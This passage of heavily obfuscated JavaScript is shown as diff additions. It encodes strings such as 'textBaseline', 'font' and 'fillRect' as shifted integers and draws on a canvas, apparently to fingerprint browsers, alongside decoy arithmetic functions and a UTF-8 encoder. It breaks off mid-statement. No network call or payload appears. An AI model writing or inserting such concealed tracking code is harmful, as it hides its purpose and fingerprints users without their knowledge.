_$cl = 29696; + _$vl = 25856; + _$sl = 30720; + _$nl = 29696; + _$fl = 16896; + _$ol = 24832; + _$ll = 29440; + _$hl = 25856; + _$gl = 27648; + _$Zl = 26880; + _$zl = 28160; + _$El = 25856; + _$Rl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El]; + _$AI = _$Rl; + for (_$nA = 0; _$nA < _$AI.length; _$nA++) { + _$cl = _$sA; + _$vl = _$AI; + _$sl = _$nA; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$sA = _$hl + } + _$cl = _$AI; + _$vl = _$LC; + _$sl = _$II; + _$nl = _$cl[_$vl](_$sl); + _$AI = _$nl; + _$cl = _$Xf + _$$k + _$Uf; + _$fA = _$cl; + _$vl = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = 1; + _$t = _$c; + _$v = 1; + _$s = -_$v; + _$i = _$s; + _$n = 2; + _$o = _$n; + _$f = 0; + _$k = _$f; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 3; + _$s = _$c >> _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$t; + _$v = _$c; + if (_$v) { + _$h = _$i; + _$v = !_$h + } + if (_$v) { + _$c = _$o; + _$v = 3; + _$s = _$c % _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = 5; + _$v = -_$c; + _$i = _$v; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = _$t; + _$f = _$s + _$n; + _$b = 0; + _$l = _$f > _$b; + if (_$l) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c - _$v; + _$o = _$s + } + _$c = _$t; + _$v = _$k; + _$s = _$c + _$v; + _$n = _$i; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$i; + _$g = _$b - _$l; + _$u = _$f >> _$g; + _$p = _$k; + _$y = _$u >> _$p; + _$k = _$y + } + _$c = _$o; + _$v = 0; + _$s = _$c < _$v; + if (_$s) { + _$c = _$i; + _$v = _$t; + _$s = _$k; + _$n = _$v / _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$o = _$l + } + _$c = _$o; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c << _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 2; + _$s = _$c << _$v; + _$o = _$s; + _$c = _$o; + _$v = _$k; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$i; + _$v = !_$c; + if (_$v) { + _$c = _$o; + _$v = 2; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$t; + _$b = _$n - _$f; + _$l = _$c << _$b; + _$o = _$l + } + _$c = _$t; + _$v = !_$c; + if (_$v) { + _$c = 5; + _$v = _$o; + _$s = _$c + _$v; + _$n = 3; + _$f = _$s >> _$n; + _$t = _$f + } + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 4; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = 3; + _$l = _$i; + _$g = _$b * _$l; + _$u = _$o; + _$p = _$g + _$u; + _$y = _$f >> _$p; + _$w = 2; + _$d = _$y << _$w; + _$k = _$d + } + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$tA = _$vl; + _$sl = _$xf + _$Kf + _$Yf + _$Qf + _$Rk + _$Wf + _$Hf; + _$rj = _$sl; + _$nl = _$rj; + _$fl = _$PC; + _$ol = _$nl[_$fl]; + _$bw = _$ol; + _$ll = 0; + _$cj = _$ll; + _$cl = []; + _$Ug = _$cl; + _$cl = _$fA; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$nl = 4; + _$fl = _$sl / _$nl; + _$lw = _$fl; + for (_$vj = 0; _$vj < _$lw; _$vj++) { + _$cl = _$rj; + _$vl = _$fA; + _$sl = _$_C; + _$nl = _$cj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$tA(_$cl, _$fl); + _$Hy = _$ol; + _$cj++; + _$cl = _$rj; + _$vl = _$fA; + _$sl = _$_C; + _$nl = _$cj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$tA(_$cl, _$fl); + _$qy = _$ol; + _$cj++; + _$cl = _$rj; + _$vl = _$fA; + _$sl = _$_C; + _$nl = _$cj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$tA(_$cl, _$fl); + _$Ig = _$ol; + _$cj++; + _$cl = _$rj; + _$vl = _$fA; + _$sl = _$_C; + _$nl = _$cj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$tA(_$cl, _$fl); + _$Ml = _$ol; + _$cj++; + _$cl = _$Ug; + _$vl = _$vj; + _$sl = _$Hy; + _$nl = _$bw; + _$fl = _$sl * _$nl; + _$ol = _$bw; + _$ll = _$fl * _$ol; + _$hl = _$bw; + _$gl = _$ll * _$hl; + _$Zl = _$qy; + _$zl = _$bw; + _$El = _$Zl * _$zl; + _$Rl = _$bw; + _$_l = _$El * _$Rl; + _$Ll = _$gl + _$_l; + _$Vl = _$Ig; + _$ql = _$bw; + _$tu = _$Vl * _$ql; + _$iu = _$Ll + _$tu; + _$ou = _$Ml; + _$ku = _$iu + _$ou; + _$cl[_$vl] = _$ku + } + _$cl = _$BC; + _$lw = _$cl; + for (_$sj = 0; _$sj < _$Ug.length; _$sj++) { + _$cl = _$Ug; + _$vl = _$sj; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$lw += _$nl + } + _$cl = _$$T; + _$vl = _$sA; + _$sl = _$lw; + _$cl[_$vl] = _$sl; + _$cl = _$Q; + _$nj = _$cl; + _$vl = 1; + _$_I = _$vl; + _$cl = _$_I; + _$vl = 1; + _$sl = _$cl + _$vl; + _$_I = _$sl; + _$cl = 1; + _$nj = _$cl; + _$cl = _$BC; + _$LI = _$cl; + _$cl = _$_I; + _$nj = _$cl; + _$cl = 104448; + _$vl = 113664; + _$sl = 112640; + _$nl = 118784; + _$fl = [_$cl, _$vl, _$sl, _$nl]; + _$_I = _$fl; + for (_$VI = 0; _$VI < _$_I.length; _$VI++) { + _$cl = _$LI; + _$vl = _$_I; + _$sl = _$VI; + _$nl = _$vl[_$sl]; + _$fl = 10; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$LI = _$hl + } + _$cl = _$_I; + _$vl = _$LC; + _$sl = _$nj; + _$nl = _$cl[_$vl](_$sl); + _$_I = _$nl; + _$cl = _$K; + _$Hd = _$cl; + _$vl = 1; + _$AM = _$vl; + _$cl = _$AM; + _$vl = 1; + _$sl = _$cl + _$vl; + _$AM = _$sl; + _$cl = 1; + _$Hd = _$cl; + _$cl = _$BC; + _$VM = _$cl; + _$cl = _$AM; + _$Hd = _$cl; + _$cl = 392; + _$vl = 416; + _$sl = 896; + _$nl = 960; + _$fl = 256; + _$ol = 312; + _$ll = 520; + _$hl = 912; + _$gl = 840; + _$Zl = 776; + _$zl = 864; + _$El = 312; + _$Rl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El]; + _$AM = _$Rl; + for (_$rI = 0; _$rI < _$AM.length; _$rI++) { + _$cl = _$VM; + _$vl = _$AM; + _$sl = _$rI; + _$nl = _$vl[_$sl]; + _$fl = 3; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$VM = _$hl + } + _$cl = _$AM; + _$vl = _$LC; + _$sl = _$Hd; + _$nl = _$cl[_$vl](_$sl); + _$AM = _$nl; + _$cl = _$$T; + _$vl = _$LI; + _$sl = _$VM; + _$cl[_$vl] = _$sl; + _$cl = _$jf + _$Cf + _$Df; + _$_p = _$cl; + _$vl = _$_p; + _$sl = _$OC; + _$nl = 0; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$_p; + _$ll = _$PC; + _$hl = _$ol[_$ll]; + _$gl = _$fl - _$hl; + _$Zl = _$bW(_$gl); + _$Lp = _$Zl; + for (_$tI = 1; _$tI < _$_p.length; _$tI++) { + _$cl = _$_p; + _$vl = _$OC; + _$sl = _$tI; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$Lp; + _$ol = _$OC; + _$ll = _$tI; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$Lp += _$El + } + _$cl = _$D; + _$iI = _$cl; + _$vl = 1; + _$Sh = _$vl; + _$cl = _$Sh; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Sh = _$sl; + _$cl = 1; + _$iI = _$cl; + _$cl = _$BC; + _$mh = _$cl; + _$cl = _$Sh; + _$iI = _$cl; + _$cl = 464; + _$vl = 404; + _$sl = 440; + _$nl = 396; + _$fl = 404; + _$ol = 440; + _$ll = 464; + _$hl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll]; + _$Sh = _$hl; + for (_$oI = 0; _$oI < _$Sh.length; _$oI++) { + _$cl = _$mh; + _$vl = _$Sh; + _$sl = _$oI; + _$nl = _$vl[_$sl]; + _$fl = 2; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$mh = _$hl + } + _$cl = _$Sh; + _$vl = _$LC; + _$sl = _$iI; + _$nl = _$cl[_$vl](_$sl); + _$Sh = _$nl; + _$cl = _$$T; + _$vl = _$Lp; + _$sl = _$mh; + _$cl[_$vl] = _$sl; + _$cl = _$C; + _$kI = _$cl; + _$vl = 1; + _$bI = _$vl; + _$cl = _$bI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$bI = _$sl; + _$cl = 1; + _$kI = _$cl; + _$cl = _$BC; + _$lI = _$cl; + _$cl = _$bI; + _$kI = _$cl; + _$cl = 1632; + _$vl = 1680; + _$sl = 1728; + _$nl = 1728; + _$fl = 1328; + _$ol = 1856; + _$ll = 1936; + _$hl = 1728; + _$gl = 1616; + _$Zl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl]; + _$bI = _$Zl; + for (_$hI = 0; _$hI < _$bI.length; _$hI++) { + _$cl = _$lI; + _$vl = _$bI; + _$sl = _$hI; + _$nl = _$vl[_$sl]; + _$fl = 4; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$lI = _$hl + } + _$cl = _$bI; + _$vl = _$LC; + _$sl = _$kI; + _$nl = _$cl[_$vl](_$sl); + _$bI = _$nl; + _$cl = _$j; + _$gI = _$cl; + _$vl = 1; + _$uI = _$vl; + _$cl = _$uI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$uI = _$sl; + _$cl = 1; + _$gI = _$cl; + _$cl = _$BC; + _$pI = _$cl; + _$cl = _$uI; + _$gI = _$cl; + _$cl = 2293760; + _$vl = 6684672; + _$sl = 3538944; + _$nl = 3145728; + _$fl = [_$cl, _$vl, _$sl, _$nl]; + _$uI = _$fl; + for (_$yI = 0; _$yI < _$uI.length; _$yI++) { + _$cl = _$pI; + _$vl = _$uI; + _$sl = _$yI; + _$nl = _$vl[_$sl]; + _$fl = 16; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$pI = _$hl + } + _$cl = _$uI; + _$vl = _$LC; + _$sl = _$gI; + _$nl = _$cl[_$vl](_$sl); + _$uI = _$nl; + _$cl = _$$T; + _$vl = _$lI; + _$sl = _$pI; + _$cl[_$vl] = _$sl; + _$cl = _$T; + _$Dg = _$cl; + _$vl = 1; + _$wI = _$vl; + _$cl = _$wI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$wI = _$sl; + _$cl = 1; + _$Dg = _$cl; + _$cl = _$BC; + _$dI = _$cl; + _$cl = _$wI; + _$Dg = _$cl; + _$cl = 408; + _$vl = 420; + _$sl = 432; + _$nl = 432; + _$fl = 328; + _$ol = 404; + _$ll = 396; + _$hl = 464; + _$gl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl]; + _$wI = _$gl; + for (_$MI = 0; _$MI < _$wI.length; _$MI++) { + _$cl = _$dI; + _$vl = _$wI; + _$sl = _$MI; + _$nl = _$vl[_$sl]; + _$fl = 2; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$dI = _$hl + } + _$cl = _$wI; + _$vl = _$LC; + _$sl = _$Dg; + _$nl = _$cl[_$vl](_$sl); + _$wI = _$nl; + _$cl = _$$T; + _$vl = _$dI; + _$sl = 125; + _$nl = 1; + _$fl = 62; + _$ol = 20; + _$cl[_$vl](_$sl, _$nl, _$fl, _$ol); + _$cl = _$m; + _$dg = _$cl; + _$vl = 1; + _$Mg = _$vl; + _$cl = _$Mg; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Mg = _$sl; + _$cl = 1; + _$dg = _$cl; + _$cl = _$BC; + _$SI = _$cl; + _$cl = _$Mg; + _$dg = _$cl; + _$cl = 204; + _$vl = 210; + _$sl = 216; + _$nl = 216; + _$fl = 166; + _$ol = 232; + _$ll = 242; + _$hl = 216; + _$gl = 202; + _$Zl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl]; + _$Mg = _$Zl; + for (_$mI = 0; _$mI < _$Mg.length; _$mI++) { + _$cl = _$SI; + _$vl = _$Mg; + _$sl = _$mI; + _$nl = _$vl[_$sl]; + _$fl = 1; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$SI = _$hl + } + _$cl = _$Mg; + _$vl = _$LC; + _$sl = _$dg; + _$nl = _$cl[_$vl](_$sl); + _$Mg = _$nl; + _$cl = _$S; + _$TI = _$cl; + _$vl = 1; + _$jI = _$vl; + _$cl = _$jI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$jI = _$sl; + _$cl = 1; + _$TI = _$cl; + _$cl = _$BC; + _$CI = _$cl; + _$cl = _$jI; + _$TI = _$cl; + _$cl = 2293760; + _$vl = 3145728; + _$sl = 3538944; + _$nl = 3735552; + _$fl = [_$cl, _$vl, _$sl, _$nl]; + _$jI = _$fl; + for (_$DI = 0; _$DI < _$jI.length; _$DI++) { + _$cl = _$CI; + _$vl = _$jI; + _$sl = _$DI; + _$nl = _$vl[_$sl]; + _$fl = 16; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$CI = _$hl + } + _$cl = _$jI; + _$vl = _$LC; + _$sl = _$TI; + _$nl = _$cl[_$vl](_$sl); + _$jI = _$nl; + _$cl = _$$T; + _$vl = _$SI; + _$sl = _$CI; + _$cl[_$vl] = _$sl; + _$cl = _$A; + _$KI = _$cl; + _$vl = 1; + _$Up = _$vl; + _$cl = _$Up; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Up = _$sl; + _$cl = 1; + _$KI = _$cl; + _$cl = _$BC; + _$Rp = _$cl; + _$cl = _$Up; + _$KI = _$cl; + _$cl = 6684672; + _$vl = 6881280; + _$sl = 7077888; + _$nl = 7077888; + _$fl = 5505024; + _$ol = 6619136; + _$ll = 7864320; + _$hl = 7602176; + _$gl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl]; + _$Up = _$gl; + for (_$jg = 0; _$jg < _$Up.length; _$jg++) { + _$cl = _$Rp; + _$vl = _$Up; + _$sl = _$jg; + _$nl = _$vl[_$sl]; + _$fl = 16; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Rp = _$hl + } + _$cl = _$Up; + _$vl = _$LC; + _$sl = _$KI; + _$nl = _$cl[_$vl](_$sl); + _$Up = _$nl; + _$cl = _$$T; + _$vl = _$Rp; + _$sl = _$ej; + _$nl = 2; + _$fl = 15; + _$cl[_$vl](_$sl, _$nl, _$fl); + _$cl = _$I; + _$Cg = _$cl; + _$vl = 1; + _$gg = _$vl; + _$cl = _$gg; + _$vl = 1; + _$sl = _$cl + _$vl; + _$gg = _$sl; + _$cl = 1; + _$Cg = _$cl; + _$cl = _$BC; + _$Kg = _$cl; + _$cl = _$gg; + _$Cg = _$cl; + _$cl = 116736; + _$vl = 105472; + _$sl = 100352; + _$nl = 99328; + _$fl = 40960; + _$ol = 50176; + _$ll = 49152; + _$hl = 51200; + _$gl = 45056; + _$Zl = 32768; + _$zl = 51200; + _$El = 49152; + _$Rl = 53248; + _$_l = 45056; + _$Ll = 32768; + _$Vl = 49152; + _$ql = 45056; + _$tu = 32768; + _$iu = 49152; + _$ou = 47104; + _$ku = 56320; + _$bu = 41984; + _$lu = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l, _$Ll, _$Vl, _$ql, _$tu, _$iu, _$ou, _$ku, _$bu]; + _$gg = _$lu; + for (_$tj = 0; _$tj < _$gg.length; _$tj++) { + _$cl = _$Kg; + _$vl = _$gg; + _$sl = _$tj; + _$nl = _$vl[_$sl]; + _$fl = 10; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Kg = _$hl + } + _$cl = _$gg; + _$vl = _$LC; + _$sl = _$Cg; + _$nl = _$cl[_$vl](_$sl); + _$gg = _$nl; + _$cl = _$df + _$If + _$Af + _$Tf + _$mf + _$Sf + _$Tf + _$Mf; + _$ij = _$cl; + _$vl = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$qI = _$vl; + _$sl = _$uf + _$pf + _$yf + _$wf + _$hf + _$gf + _$lo; + _$kj = _$sl; + _$nl = _$kj; + _$fl = _$PC; + _$ol = _$nl[_$fl]; + _$Cd = _$ol; + _$ll = 0; + _$Ju = _$ll; + _$cl = []; + _$$u = _$cl; + _$cl = _$ij; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$nl = 4; + _$fl = _$sl / _$nl; + _$Dd = _$fl; + for (_$wl = 0; _$wl < _$Dd; _$wl++) { + _$cl = _$kj; + _$vl = _$ij; + _$sl = _$_C; + _$nl = _$Ju; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$qI(_$cl, _$fl); + _$Fu = _$ol; + _$Ju++; + _$cl = _$kj; + _$vl = _$ij; + _$sl = _$_C; + _$nl = _$Ju; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$qI(_$cl, _$fl); + _$ep = _$ol; + _$Ju++; + _$cl = _$kj; + _$vl = _$ij; + _$sl = _$_C; + _$nl = _$Ju; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$qI(_$cl, _$fl); + _$bj = _$ol; + _$Ju++; + _$cl = _$kj; + _$vl = _$ij; + _$sl = _$_C; + _$nl = _$Ju; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$qI(_$cl, _$fl); + _$Kd = _$ol; + _$Ju++; + _$cl = _$$u; + _$vl = _$wl; + _$sl = _$Fu; + _$nl = _$Cd; + _$fl = _$sl * _$nl; + _$ol = _$Cd; + _$ll = _$fl * _$ol; + _$hl = _$Cd; + _$gl = _$ll * _$hl; + _$Zl = _$ep; + _$zl = _$Cd; + _$El = _$Zl * _$zl; + _$Rl = _$Cd; + _$_l = _$El * _$Rl; + _$Ll = _$gl + _$_l; + _$Vl = _$bj; + _$ql = _$Cd; + _$tu = _$Vl * _$ql; + _$iu = _$Ll + _$tu; + _$ou = _$Kd; + _$ku = _$iu + _$ou; + _$cl[_$vl] = _$ku + } + _$cl = _$BC; + _$Dd = _$cl; + for (_$dl = 0; _$dl < _$$u.length; _$dl++) { + _$cl = _$$u; + _$vl = _$dl; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$Dd += _$nl + } + _$cl = _$$T; + _$vl = _$Dd; + _$sl = _$Kg; + _$cl[_$vl] = _$sl; + _$cl = _$M; + _$xp = _$cl; + _$vl = 1; + _$Bp = _$vl; + _$cl = _$Bp; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Bp = _$sl; + _$cl = 1; + _$xp = _$cl; + _$cl = _$BC; + _$Xp = _$cl; + _$cl = _$Bp; + _$xp = _$cl; + _$cl = 3264; + _$vl = 3360; + _$sl = 3456; + _$nl = 3456; + _$fl = 2688; + _$ol = 3232; + _$ll = 3840; + _$hl = 3712; + _$gl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl]; + _$Bp = _$gl; + for (_$Fp = 0; _$Fp < _$Bp.length; _$Fp++) { + _$cl = _$Xp; + _$vl = _$Bp; + _$sl = _$Fp; + _$nl = _$vl[_$sl]; + _$fl = 5; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Xp = _$hl + } + _$cl = _$Bp; + _$vl = _$LC; + _$sl = _$xp; + _$nl = _$cl[_$vl](_$sl); + _$Bp = _$nl; + _$cl = _$$T; + _$vl = _$Xp; + _$sl = _$ej; + _$nl = 4; + _$fl = 17; + _$cl[_$vl](_$sl, _$nl, _$fl); + _$cl = _$lf + _$kf + _$of + _$bf; + _$Eu = _$cl; + _$cl = _$Eu; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$ay = _$sl; + _$cl = []; + _$Ru = _$cl; + for (_$Hp = 0; _$Hp < _$ay; _$Hp++) { + _$cl = _$Eu; + _$vl = _$OC; + _$sl = _$Hp; + _$nl = _$cl[_$vl](_$sl); + _$ry = _$nl; + _$cl = _$ry; + _$vl = 65536; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$ry; + _$fh = 1114111; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 18; + _$fl = _$sl >> _$nl; + _$ol = 7; + _$ll = _$fl & _$ol; + _$hl = 240; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$ry; + _$vl = 2048; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$ry; + _$fh = 65535; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 15; + _$ll = _$fl & _$ol; + _$hl = 224; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$ry; + _$vl = 128; + _$sl = _$cl >= _$vl; + 